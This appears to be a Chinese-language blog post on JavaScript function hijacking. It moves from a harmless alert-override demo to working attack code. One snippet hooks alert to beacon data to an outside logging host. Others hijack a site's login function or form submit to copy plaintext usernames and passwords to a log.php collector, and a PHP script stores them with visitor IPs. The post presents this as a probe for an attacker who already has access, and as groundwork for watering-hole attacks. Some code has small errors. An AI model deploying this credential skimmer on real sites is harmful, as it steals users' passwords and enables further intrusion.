JavaScript 函數劫持攻擊原理
JavaScript 函數劫持并不是什么新穎的技術了。這兩天在和同事吹牛的過程中提到了這個,就簡單地再回顧回顧,以及假想在攻防的運用場景。
JavaScript 函數劫持(javascript hijacking)簡介
一個簡單的示例如下,主要邏輯就是,用變量 _alert保存原函數 alert,然后重寫 alert 函數,在重寫的函數最后調用原函數。這樣得到的一個效果就是調用 alert 的時候,可以往 alert 中加入其它操作。比如如下代碼中進行一個賦值。
- <script type="text/javascript">
- var _alert = alert;
- alert = function(){
- var str = "啥也不是";
- _alert(str);
- }
- alert();
- </script>
日志記錄
這種編程技巧常用于開發中的日志收集與格式化。既然可以劫持函數加入自己的操作,那么就可以在比較隱蔽的執行一些猥瑣的操作。比如:
https://wiki.jikexueyuan.com/project/brief-talk-js/function-hijacking.html
一文中提到的通過 Hook alert 函數來記錄調用情況,或者彈一些警告信息,這樣就可以記錄到測試者的網絡出口ip、瀏覽器指紋等信息也加上,沒準就是日后的呈堂證供。
- <script type="text/javascript">
- function log(s) {
- var img = new Image();
- imgimg.style.width = img.style.height = 0;
- img.src = "http://yousite.com/log.php?caller=" + encodeURIComponent(s);
- }
- var _alert = alert;
- window.alert = function(s) {
- log(alert.caller);
- _alert(s);
- }
- </script>
探針
在某些場景下,比如:已有權限,但是數據庫中密碼是加密的,無法解開。又或者需要探測目標人員訪問此網站的規律。此時就可以利用劫持登錄函數來記錄明文的賬號密碼。如下示例:
onclick 事件會調用 login 函數發送請求包:
- <form id="form1">
- <input type="text" id="username" name="username"/><br>
- <input type="password" id = "password" name="password"/><br>
- <button id="submit" onclick="login()">submit</button><br>
- </form>
- <script>
- function login(){
- var username = document.getElementById("username").value;
- var password = document.getElementById("password").value;
- $.ajax({
- url:"login.php",
- type:"POST",
- data:{
- "username":username,
- "password":password
- },
- success:function(){
- alert(1);
- },
- error:function(){
- alert("error");
- }
- });
- }
- </script>
可以劫持 login 函數,在發送登陸請求前,先發到探針文件中做一些記錄帳號密碼等操作。
- var _login=login;
- login = function (){
- var username = document.getElementById("username").value;
- var password = document.getElementById("password").value;
- $.ajax({
- url:"log.php",
- type:"POST",
- data:{
- "username":username,
- "password":password
- },
- success:console.log("1"),
- error:function(){
- alert("error");
- }
- });
- }
log.php 的內容如下:
- <?php
- $username = $_POST["username"];
- $password = $_POST["password"];
- $ip = $_SERVER['REMOTE_ADDR'];
- file_put_contents("./log.txt",$username." ".$password." ".$ip);
也許在實際中更常見的表單形式應該是下面這種。
- <form id="form1" method="POST" action=“login.php”>
- <input type="text" id="username" name="username"/><br>
- <input type="password" id = "password" name="password"/><br>
- <input type="submit" id="submit" name="submit"/><br>
- </form>
這種表單也可以通過小小的改動,很簡單的記錄到信息,下面使用的是 onsubmit 事件,用如下方式即可:
- <script src="http://lib.sinaapp.com/js/jquery/1.7.2/jquery.min.js"> </script>
- <body>
- <form id="form1" method="POST" action=“login.php” onsubmit="return _login()">
- <input type="text" id="username" name="username"/><br>
- <input type="password" id = "password" name="password"/><br>
- <input type="submit" id="submit" name="submit"/><br>
- </form>
- <script>
- function _login(){
- var username = document.getElementById("username").value;
- var password = document.getElementById("password").value;
- $.ajax({
- url:"log.php",
- type:"POST",
- data:{
- "username":username,
- "password":password
- },
- success:true,
- error:true
- });
- }
- </script>
不僅可以記錄密碼,還可以結合前面提到的記錄日志,來記錄管理員的登錄時間、IP、UA 和瀏覽器指紋等信息。這種探針常用于布置水坑攻擊前針對人員登錄情況的信息收集,根據收集的信息制定具體的水坑方案。